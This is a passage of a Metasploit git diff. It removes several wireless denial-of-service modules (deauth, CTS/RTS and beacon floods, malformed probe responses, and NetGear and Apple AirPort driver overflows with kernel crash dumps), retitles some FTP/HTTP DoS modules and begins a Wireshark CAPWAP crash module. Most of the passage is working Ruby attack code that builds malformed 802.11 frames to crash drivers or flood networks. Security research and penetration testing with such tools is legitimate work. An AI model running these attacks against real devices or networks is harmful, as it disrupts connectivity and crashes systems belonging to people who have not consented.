not contain valid information element (IE) fields after the fixed-length header. The data - following the fixed-length header is copied over internal kernel structures, resulting in memory - operations being performed on attacker-controlled pointer values. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-5710'], - ['OSVDB', '30180'], - ] - )) - register_options( - [ - OptInt.new('COUNT', [ true, "The number of frames to send", 2000]), - OptString.new('ADDR_DST', [ true, "The MAC address of the target system"]) - ], self.class) - end - - # - # This bug is easiest to trigger when the card has been placed into active scan mode: - # $ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s -r 10000 - # - - def run - open_wifi - - cnt = datastore['COUNT'].to_i - - print_status("Creating malicious probe response frame...") - frame = create_frame() - - print_status("Sending #{cnt} frames...") - cnt.times { wifi.write(frame) } - end - - def create_frame - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - caps = [rand(65535)].pack('n') - - frame = - "\x50" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - Rex::Text.rand_text(2) + # beacon interval - Rex::Text.rand_text(2) # capabilities - - frame << [0x0defaced].pack('N') * ((1024-frame.length) / 4) - - return frame - - end -end - -=begin - -Tested on a 1.0Ghz PowerBook running 10.4.8 with the latest updates (Halloween, 2006) - -Unresolved kernel trap(cpu 0): 0x300 - Data access DAR=0x000000000DEFACF7 PC=0x00000000007A2260 -Latest crash info for cpu 0: - Exception state (sv=0x3AA12A00) - PC=0x007A2260; MSR=0x00009030; DAR=0x0DEFACF7; DSISR=0x40000000; LR=0x007A1D48; R1=0x17443B60; XCP=0x0000000C (0x300 - Data access) - Backtrace: 0x01BC80AC 0x007A1D48 0x0079FA54 0x0079FF94 0x0079FEBC 0x002D0B94 0x002CFA5C 0x000A9314 - Kernel loadable modules in backtrace (with dependencies): - com.apple.driver.AppleAirPort(3.4.4)@0x797000 - dependency: com.apple.iokit.IONetworkingFamily(1.5.0)@0x5f8000 -Proceeding back via exception chain: - Exception state (sv=0x3AA12A00) - previously dumped as "Latest" state. skipping... - Exception state (sv=0x31F13A00) - PC=0x00000000; MSR=0x0000D030; DAR=0x00000000; DSISR=0x00000000; LR=0x00000000; R1=0x00000000; XCP=0x00000000 (Unknown) - -Kernel version: -Darwin Kernel Version 8.8.0: Fri Sep 8 17:18:57 PDT 2006; root:xnu-792.12.6.obj~1/RELEASE_PPC - - - -(gdb) showcurrentstacks -task vm_map ipc_space #acts pid proc command -0x01a73dd8 0x00cdaf3c 0x01a68ef0 38 0 0x003fb200 kernel_task -activation thread pri state wait_queue wait_event -0x01a7c000 0x01a7c000 82 R -reserved_stack=0x173b0000 -kernel_stack=0x17440000 -stacktop=0x17443b60 -0x17443b60 0x1bc80ac -0x17443be0 0x7a1d48 -0x17443c60 0x79fa54 -0x17443ce0 0x79ff94 -0x17443d90 0x79febc -0x17443df0 0x2d0b94 <_ZN22IOInterruptEventSource12checkForWorkEv+184> -0x17443e40 0x2cfa5c <_ZN10IOWorkLoop10threadMainEv+104> -0x17443e90 0xa9314 -stackbottom=0x17443e90 - - -(gdb) x/3i $pc -0x7a2260 : lbz r8,0(r2) -0x7a2264 : addi r2,r2,1 -0x7a2268 : stw r2,0(r11) - -(gdb) i r $r2 -r2 0xdefacf7 233811191 - -(gdb) x/x $r11 -0x17443bb8: 0x0defacf7 - - -(gdb) bt -#0 0x007a2260 in mhp.1762 () -#1 0x007a1d48 in mhp.1762 () -warning: Previous frame identical to this frame (corrupt stack?) -#2 0x007a1d48 in mhp.1762 () -#3 0x0079fa54 in mhp.1762 () -#4 0x0079ff94 in mhp.1762 () -#5 0x0079febc in mhp.1762 () -#6 0x002d0b94 in IOInterruptEventSource::checkForWork (this=0x1d80d40) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOInterruptEventSource.cpp:196 -#7 0x002cfa5c in IOWorkLoop::threadMain (this=0x1d803c0) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOWorkLoop.cpp:267 - - -(gdb) x/40x $r1 -0x17443b60: 0x17443be0 0x22424022 0x01bc80ac 0x00000038 -0x17443b70: 0x00d43c54 0x0004ffff 0x01bc81f4 0x00000210 -0x17443b80: 0x02275000 0x003d8000 0x004fa418 0x00365000 -0x17443b90: 0x01d803c0 0x00033e88 0x01a7c01c 0x01a7c0a4 -0x17443ba0: 0x0defaced 0x01bc8000 0x0227581e 0x0defacf7 -0x17443bb0: 0x00000000 0x0227581e 0x0defacf7 0x00000001 -0x17443bc0: 0x00000002 0x01bc81f4 0x00000000 0x00000000 -0x17443bd0: 0x17443c10 0x01a858c0 0x17443be0 0x01d80d40 -0x17443be0: 0x17443c60 0x01bc81f4 0x007a1d48 0x00000000 -0x17443bf0: 0x17443c20 0x00008088 0x01bc8000 0x0227581e - -=end diff --git a/modules/auxiliary/dos/wifi/cts_rts_flood.rb b/modules/auxiliary/dos/wifi/cts_rts_flood.rb deleted file mode 100644 index 4379dce61a..0000000000 --- a/modules/auxiliary/dos/wifi/cts_rts_flood.rb +++ /dev/null @@ -1,78 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info ={}) - super(update_info(info, - 'Name' => 'Wireless CTS/RTS Flooder', - 'Description' => %q{ - This module sends 802.11 CTS/RTS requests to a specific wireless peer, - using the specified source address, - }, - 'Author' => [ 'Brad Antoniewicz' ], - 'License' => MSF_LICENSE - )) - - register_options( - [ - OptString.new('ADDR_DST',[true, "TARGET MAC (e.g 00:DE:AD:BE:EF:00)"]), - OptString.new('ADDR_SRC',[false, "Source MAC (not needed for CTS)"]), - OptString.new('TYPE',[true,"Type of Frame (RTS, CTS)",'RTS']), - OptInt.new('NUM',[true, "Number of frames to send",100]) - ],self.class) - end - - def run - case datastore['TYPE'].upcase - when 'RTS' - if (!datastore['ADDR_SRC']) - print_error("FAILED: RTS Flood selected but ADDR_SRC not set!") - return - end - frame = create_rts() - when 'CTS' - - frame = create_cts() - else - print_error("No TYPE selected!!") - return - end - - open_wifi - print_status("Sending #{datastore['NUM']} #{datastore['TYPE'].upcase} frames.....") - - datastore['NUM'].to_i.times do - wifi.write(frame) - end - - end - def create_rts - - frame = - "\xb4" + # Type/SubType - "\x00" + # Flags - "\xff\x7f" + # Duration - eton(datastore['ADDR_DST']) + # dst addr - eton(datastore['ADDR_SRC']) # src addr - - return frame - end - def create_cts - - frame = - "\xc4" + # Type/SubType - "\x00" + # Flags - "\xff\x7f" + # Duration - eton(datastore['ADDR_DST']) # dst addr - - return frame - end -end diff --git a/modules/auxiliary/dos/wifi/deauth.rb b/modules/auxiliary/dos/wifi/deauth.rb deleted file mode 100644 index d1ccfe0229..0000000000 --- a/modules/auxiliary/dos/wifi/deauth.rb +++ /dev/null @@ -1,65 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info ={}) - super(update_info(info, - 'Name' => 'Wireless DEAUTH Flooder', - 'Description' => %q{ - This module sends 802.11 DEAUTH requests to a specific wireless peer, - using the specified source address and source BSSID. - }, - - 'Author' => [ 'Brad Antoniewicz' ], - 'License' => MSF_LICENSE - )) - - register_options( - [ - OptString.new('ADDR_DST',[true, "TARGET MAC (e.g 00:DE:AD:BE:EF:00)"]), - OptString.new('ADDR_SRC',[true, "Source MAC (e.g 00:DE:AD:BE:EF:00)"]), - OptString.new('ADDR_BSS',[true, "BSSID (e.g 00:DE:AD:BE:EF:00)"]), - OptInt.new('NUM',[true, "Number of frames to send",100]) - ],self.class) - end - - def run - - print_status("Creating Deauth frame with the following attributes:") - print_status("\tDST: #{datastore['ADDR_DST']}") - print_status("\tSRC: #{datastore['ADDR_SRC']}") - print_status("\tBSSID: #{datastore['ADDR_BSS']}") - - open_wifi - - print_status("Sending #{datastore['NUM']} frames.....") - - datastore['NUM'].to_i.times do - wifi.write(create_deauth()) - end - close_wifi - end - - def create_deauth - - seq = [rand(255)].pack('n') - frame = - "\xc0" + # Type/SubType - "\x00" + # Flags - "\x3a\x01" + # Duration - eton(datastore['ADDR_DST']) + # dst addr - eton(datastore['ADDR_SRC']) + # src addr - eton(datastore['ADDR_BSS']) + # BSSID - seq + # sequence number - "\x07\x00" # Reason Code (nonassoc. sta) - return frame - end -end diff --git a/modules/auxiliary/dos/wifi/fakeap.rb b/modules/auxiliary/dos/wifi/fakeap.rb deleted file mode 100644 index d0d489a4d3..0000000000 --- a/modules/auxiliary/dos/wifi/fakeap.rb +++ /dev/null @@ -1,90 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Fake Access Point Beacon Flood', - 'Description' => %q{ - This module can advertise thousands of fake access - points, using random SSIDs and BSSID addresses. Inspired - by Black Alchemy's fakeap tool. - }, - - 'Author' => [ 'hdm', 'kris katterjohn' ], - 'License' => MSF_LICENSE - )) - - register_options([ - OptInt.new('NUM', [false, "Number of beacons to send"]), - OptString.new('BSSID', [false, "Use this static BSSID (e.g. AA:BB:CC:DD:EE:FF)"]), - OptString.new('SSID', [false, "Use this static SSID"]) - ]) - end - - def run - open_wifi - print_status("Sending fake beacon frames...") - if datastore['NUM'].nil? or datastore['NUM'] == 0 - wifi.write(create_frame()) while true - else - datastore['NUM'].times { wifi.write(create_frame()) } - end - end - - def create_frame - - ssid = datastore['SSID'] || Rex::Text.rand_text_alpha(rand(31)+1) - if datastore['BSSID'] - bssid = eton(datastore['BSSID']) - else - bssid = Rex::Text.rand_text(6) - end - seq = [rand(255)].pack('n') - - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - "\xff\xff\xff\xff\xff\xff" + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x00\x05" + # capability flags - - # ssid tag - "\x00" + ssid.length.chr + ssid + - - # supported rates - "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + - - # current channel - "\x03" + "\x01" + datastore['CHANNEL'].to_i.chr + - - # traffic indication map - "\x05" + "\x04" + "\x00\x01\x02\x20" + - - # country information - "\x07" + "\x06" + "\x55\x53\x20\x01\x0b\x12" + - - # erp information - "\x2a" + "\x01" + "\x00" + - - # extended supported rates - "\x32" + "\x04" + "\x12\x24\x60\x6c" - - end - -end diff --git a/modules/auxiliary/dos/wifi/file2air.rb b/modules/auxiliary/dos/wifi/file2air.rb deleted file mode 100644 index 36cf74d999..0000000000 --- a/modules/auxiliary/dos/wifi/file2air.rb +++ /dev/null @@ -1,110 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Frame (File) Injector', - 'Description' => %q{ - Inspired by Josh Wright's file2air, this module writes - wireless frames from a binary file to the air, allowing - you to substitute some addresses before it gets sent. - Unlike the original file2air (currently v1.1), this module - *does* take into account the ToDS and FromDS flags in the - frame when replacing any specified addresses. - }, - # 11/03/2008 - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE - )) - - register_options([ - OptString.new('FILE', [true, 'Filename to write to the air']), - OptString.new('ADDR_DST', [false, 'Target MAC (e.g. 00:DE:AD:BE:EF:00)']), - OptString.new('ADDR_SRC', [false, 'Source MAC (e.g. 00:DE:AD:BE:EF:00)']), - OptString.new('BSSID', [false, 'BSSID (e.g. 00:DE:AD:BE:EF:00)']), - OptInt.new('NUM', [true, 'Number of frames to send', 1]) - ], self.class) - end - - def run - begin - frame = File.read(datastore['FILE']) - rescue ::Exception - print_status("Couldn't read from \"#{datastore['FILE']}\": #{$!}") - return - end - - # Sending too much data can cause local problems, even if it's - # less than the 802.11 MTU. Gotta draw the line somewhere. - if frame.length < 10 or frame.length > 1800 - print_status("Invalid frame size (should be 10-1800 bytes)") - return - end - - if datastore['BSSID'] or datastore['ADDR_DST'] or datastore['ADDR_SRC'] - if not substaddrs(frame) - print_status("This module doesn't support modifying frames with both ToDS and FromDS set") - return - end - end - - open_wifi - - print_status("Writing out #{datastore['NUM']} frames...") - - datastore['NUM'].times do - wifi.write(frame) - end - - close_wifi - end - - def substaddrs(frame) - tods = (frame[1] & 1) == 1 - fromds = (frame[1] & 2) == 2 - - if tods - if fromds - # Not going to handle this 4-address special-case - return nil - else - substaddr1(frame, datastore['BSSID']) - substaddr2(frame, datastore['ADDR_SRC']) - substaddr3(frame, datastore['ADDR_DST']) - end - else - if fromds - substaddr1(frame, datastore['ADDR_DST']) - substaddr2(frame, datastore['BSSID']) - substaddr3(frame, datastore['ADDR_SRC']) - else - substaddr1(frame, datastore['ADDR_DST']) - substaddr2(frame, datastore['ADDR_SRC']) - substaddr3(frame, datastore['BSSID']) - end - end - - true - end - - def substaddr1(frame, addr) - frame[4,6] = eton(addr) if addr - end - - def substaddr2(frame, addr) - frame[10,6] = eton(addr) if addr - end - - def substaddr3(frame, addr) - frame[16,6] = eton(addr) if addr - end -end diff --git a/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb b/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb deleted file mode 100644 index 3a860c5929..0000000000 --- a/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb +++ /dev/null @@ -1,118 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'NetGear MA521 Wireless Driver Long Rates Overflow', - 'Description' => %q{ - This module exploits a buffer overflow in the NetGear MA521 wireless device - driver under Windows XP. When a specific malformed frame (beacon or probe response) - is received by the wireless interface under active scanning mode, the MA521nd5.SYS - driver attempts to write to an attacker-controlled memory location. The vulnerability - is triggered by an invalid supported rates information element. - - This DoS was tested with version 5.148.724.2003 of the MA521nd5.SYS driver and a - NetGear MA521 Cardbus adapter. A remote code execution module is also in development. - - This module depends on the Lorcon2 library and only works on the Linux platform - with a supported wireless card. Please see the Ruby Lorcon2 documentation - (external/ruby-lorcon/README) for more information. - }, - 'Author' => [ 'Laurent Butti <0x9090 [at] gmail.com>' ], # initial discovery and metasploit module - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-6059'], - ['OSVDB', '30507'], - ['URL', 'http://projects.info-pull.com/mokb/MOKB-18-11-2006.html'], - ['URL', 'ftp://downloads.netgear.com/files/ma521_1_2.zip'] - ] - )) - register_options( - [ - OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]), - OptString.new('ADDR_DST', [ true, "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']) - ], self.class) - end - - def run - - open_wifi - - stime = Time.now.to_i - rtime = datastore['RUNTIME'].to_i - count = 0 - - print_status("Creating malicious beacon frame...") - - frame = create_beacon() - - print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...") - - while (stime + rtime > Time.now.to_i) - wifi.write(frame) - select(nil, nil, nil, 0.10) if (count % 100 == 0) - count += 1 - end - - print_status("Completed sending #{count} beacons.") - end - - def create_beacon - ssid = Rex::Text.rand_text(6) - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - - frame = - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x01\x00" + # capabilities - - # ssid IE - "\x00" + ssid.length.chr + ssid + - - # supported rates IE overflow - "\x01" + "\xFF" + ("\x41" * 255) + - - # channel IE - "\x03" + "\x01" + channel.chr - - return frame - - end -end - -=begin -******************************************************************************* -* * -* Bugcheck Analysis * -* * -******************************************************************************* - -DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) -An attempt was made to access a pageable (or completely invalid) address at an -interrupt request level (IRQL) that is too high. This is usually -caused by drivers using improper addresses. -If kernel debugger is available get stack backtrace. -Arguments: -Arg1: 41414141, memory referenced -Arg2: 00000002, IRQL -Arg3: 00000000, value 0 = read operation, 1 = write operation -Arg4: aa1ec75a, address which referenced memory -=end diff --git a/modules/auxiliary/dos/wifi/netgear_wg311pci.rb b/modules/auxiliary/dos/wifi/netgear_wg311pci.rb deleted file mode 100644 index f84b60c261..0000000000 --- a/modules/auxiliary/dos/wifi/netgear_wg311pci.rb +++ /dev/null @@ -1,116 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'NetGear WG311v1 Wireless Driver Long SSID Overflow', - 'Description' => %q{ - This module exploits a buffer overflow in the NetGear WG311v1 wireless device - driver under Windows XP and 2000. A kernel-mode heap overflow occurs - when malformed probe response frame is received that contains a long SSID field - - This DoS was tested with version 2.3.1.10 of the WG311ND5.SYS driver and a - NetGear WG311v1 PCI card. A remote code execution module is also in development. - - This module depends on the Lorcon2 library and only works on the Linux platform - with a supported wireless card. Please see the Ruby Lorcon2 documentation - (external/ruby-lorcon/README) for more information. - }, - 'Author' => [ 'Laurent Butti <0x9090 [at] gmail.com>' ], # initial discovery and metasploit module - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-6125'], - ['OSVDB', '30511'], - ['URL', 'http://projects.info-pull.com/mokb/MOKB-22-11-2006.html'], - ['URL', 'ftp://downloads.netgear.com/files/wg311_1_3.zip'], - ] - )) - register_options( - [ - OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]), - OptString.new('ADDR_DST', [ true, "The MAC address of the target system"]) - ], self.class) - end - - def run - - open_wifi - - stime = Time.now.to_i - rtime = datastore['RUNTIME'].to_i - count = 0 - - print_status("Creating malicious probe response frame...") - - frame = create_probe_response() - - print_status("Sending malicious probe response frames for #{datastore['RUNTIME']} seconds...") - - while (stime + rtime > Time.now.to_i) - wifi.write(frame) - select(nil, nil, nil, 0.10) if (count % 100 == 0) - count += 1 - end - - print_status("Completed sending #{count} probe responses.") - end - - def create_probe_response - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - - frame = - "\x50" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x01\x00" + # capabilities - - # SSID IE overflow - "\x00" + "\xff" + ("\x41" * 255) + - - # supported rates IE - "\x01" + "\x08" + "\x02\x04\x0b\x16\x0c\x18\x30\x48" + - - # channel IE - "\x03" + "\x01" + channel.chr - - return frame - - end -end - -=begin -******************************************************************************* -* * -* Bugcheck Analysis * -* * -******************************************************************************* - -BAD_POOL_HEADER (19) -The pool is already corrupt at the time of the current request. -This may or may not be due to the caller. -The internal pool links must be walked to figure out a possible cause of -the problem, and then special pool applied to the suspect tags or the driver -verifier to a suspect driver. -Arguments: -Arg1: 00000020, a pool block header size is corrupt. -Arg2: 81cae7b0, The pool entry we were looking for within the page. -Arg3: 81cae8c8, The next pool entry. -Arg4: 0a23002b, (reserved) -=end diff --git a/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb b/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb deleted file mode 100644 index ba35201cb6..0000000000 --- a/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb +++ /dev/null @@ -1,74 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Multiple Wireless Vendor NULL SSID Probe Response', - 'Description' => %q{ - This module exploits a firmware-level vulnerability in a variety of - 802.11b devices. This attack works by sending a probe response frame - containing a NULL SSID information element to an affected device. This - flaw affects many cards based on the Choice MAC (Intersil, Lucent, Agere, - Orinoco, and the first generation of Airport cards). - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'http://802.11ninja.net/papers/firmware_attack.pdf'], - ['WVE', '2006-0064'] - ] - )) - register_options( - [ - OptInt.new('COUNT', [ true, "The number of frames to send", 2000]), - OptString.new('ADDR_DST', [ true, "The MAC address of the target system"]) - ], self.class) - end - - def run - open_wifi - - cnt = datastore['COUNT'].to_i - - print_status("Creating malicious probe response frame...") - frame = create_frame() - - print_status("Sending #{cnt} frames...") - cnt.times { wifi.write(frame) } - end - - def create_frame - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - caps = [rand(65535)].pack('n') - - frame = - "\x50" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - Rex::Text.rand_text(2) + # beacon interval - Rex::Text.rand_text(2) + # capabilities - [0, 0].pack('CC') # Type=SSID(0) Length=0 - - return frame - - end -end diff --git a/modules/auxiliary/dos/wifi/ssidlist_beacon.rb b/modules/auxiliary/dos/wifi/ssidlist_beacon.rb deleted file mode 100644 index 66fad3d770..0000000000 --- a/modules/auxiliary/dos/wifi/ssidlist_beacon.rb +++ /dev/null @@ -1,108 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Beacon SSID Emulator', - 'Description' => %q{ - This module sends out beacon frames using SSID's identified in a - specified file and randomly selected BSSID's. This is useful when - combined with a Karmetasploit attack to get clients configured to - not probe for networks in their PNL to start probing when they see a - matching SSID in from this script. For a list of common SSID's to - use with this script, check http://www.wigle.net/gps/gps/main/ssidstats. - If a file of SSID's is not specified, a default list of 20 SSID's will - be used. This script will run indefinitely until interrupted. - }, - - 'Author' => [ 'joswr1ght', 'hdm' ], - 'License' => MSF_LICENSE - )) - register_options( - [ - OptString.new('SSIDS_FILE', [ false, "Filename of SSID's to broadcast, one per line"]) - ], self.class) - end - - - def run - - @@uni = 0 - - frames = [] - - open_wifi - - ssidlist = [] - if datastore['SSIDS_FILE'] - begin - ssidfile = File.new(datastore['SSIDS_FILE'], "r") - rescue ::Exception - print_status("Couldn't read from \"#{datastore['SSIDS_FILE']}\": #{$!}") - return - end - ssidfile.each_line do |line| - ssidlist.push line.chomp - end - else - ssidlist = ["linksys", "default", "NETGEAR", "Belkin54g", "Wireless", - "WLAN", "home", "DLINK", "smc", "tsunami", "tmobile", "101", "panera", - "hhonors", "GlobalSuiteWireless", "Internet", "WiFi", "public", "guest", - "test"] - end - - print_status("Sending beacon frames...") - - while (true) - ssidlist.each do |ssid| - #print_status("Sending frame for SSID #{ssid}") - frame = create_frame(ssid) - wifi.write(frame) - end - end - end - - - def create_frame(ssid) - mtu = 1500 # 2312 # 1514 - ies = rand(1024) - - bssid = "0" + ssid[0..4] - seq = [rand(255)].pack('n') - - frame = - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - "\xff\xff\xff\xff\xff\xff" + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x04\x01" + # capability flags - - # ssid tag - "\x00" + ssid.length.chr + ssid + - - # supported rates - "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + - - # current channel - "\x03" + "\x01" + channel.chr - - return frame - - end -end diff --git a/modules/auxiliary/dos/wifi/wifun.rb b/modules/auxiliary/dos/wifi/wifun.rb deleted file mode 100644 index b6bc822bfb..0000000000 --- a/modules/auxiliary/dos/wifi/wifun.rb +++ /dev/null @@ -1,33 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Test Module', - 'Description' => %q{ - This module is a test of the wireless packet injection system. - Please see external/ruby-lorcon/README for more information. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) - end - - def run - open_wifi - wifi.write("X" * 1000) - end - -end diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb index 7ea991c86e..6ceaf211f0 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'FileZilla FTP Server <=0.9.21 Malformed PORT Denial of Service', + 'Name' => 'FileZilla FTP Server Malformed PORT Denial of Service', 'Description' => %q{ This module triggers a Denial of Service condition in the FileZilla FTP Server versions 0.9.21 and earlier. By sending a malformed PORT command diff --git a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb index b123f78e0d..5807ee374a 100644 --- a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb +++ b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS FTP Server <= 7.0 LIST Stack Exhaustion', + 'Name' => 'Microsoft IIS FTP Server LIST Stack Exhaustion', 'Description' => %q{ This module triggers Denial of Service condition in the Microsoft Internet Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command diff --git a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb index 986c0cca98..b73994de01 100644 --- a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb +++ b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb @@ -12,11 +12,12 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => 'Solar FTP Server <= 2.1.1 Malformed (User) Denial of Service', + 'Name' => 'Solar FTP Server Malformed USER Denial of Service', 'Description' => %q{ - This module will send a format string as USER to Solar FTP, causing a READ - violation in function "__output_1()" found in "sfsservice.exe" while trying to - calculate the length of the string. + This module will send a format string as USER to Solar FTP, causing a + READ violation in function "__output_1()" found in "sfsservice.exe" + while trying to calculate the length of the string. This vulnerability + affects versions 2.1.1 and earlier. }, 'Author' => [ diff --git a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb index 1d31454ac9..ef67d3255b 100644 --- a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb +++ b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb @@ -12,12 +12,12 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Pi3Web <=2.0.13 ISAPI DoS', + 'Name' => 'Pi3Web ISAPI DoS', 'Description' => %q{ - The Pi3Web HTTP server crashes when a request is made - for an invalid DLL file in /isapi. By default, the - non-DLLs in this directory after installation are - users.txt, install.daf and readme.daf. + The Pi3Web HTTP server crashes when a request is made for an invalid DLL + file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs + in this directory after installation are users.txt, install.daf and + readme.daf. }, 'Author' => 'kris katterjohn', 'License' => MSF_LICENSE, diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb index 01ad7774b4..3a52efa1a7 100644 --- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb +++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb @@ -4,7 +4,6 @@ ## class Metasploit3 < Msf::Auxiliary - Rank = ManualRanking include Msf::Exploit::Remote::Udp #include Msf::Exploit::Remote::SMB diff --git a/modules/auxiliary/dos/wireshark/capwap.rb b/modules/auxiliary/dos/wireshark/capwap.rb new file mode 100644 index 0000000000..01c6c48a57 --- /dev/null +++ b/modules/auxiliary/dos/wireshark/capwap.rb @@ -0,0 +1,55 @@ +# +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wireshark CAPWAP Dissector DoS', + 'Description' => %q{ + This module injects a malformed UDP packet to crash Wireshark and TShark 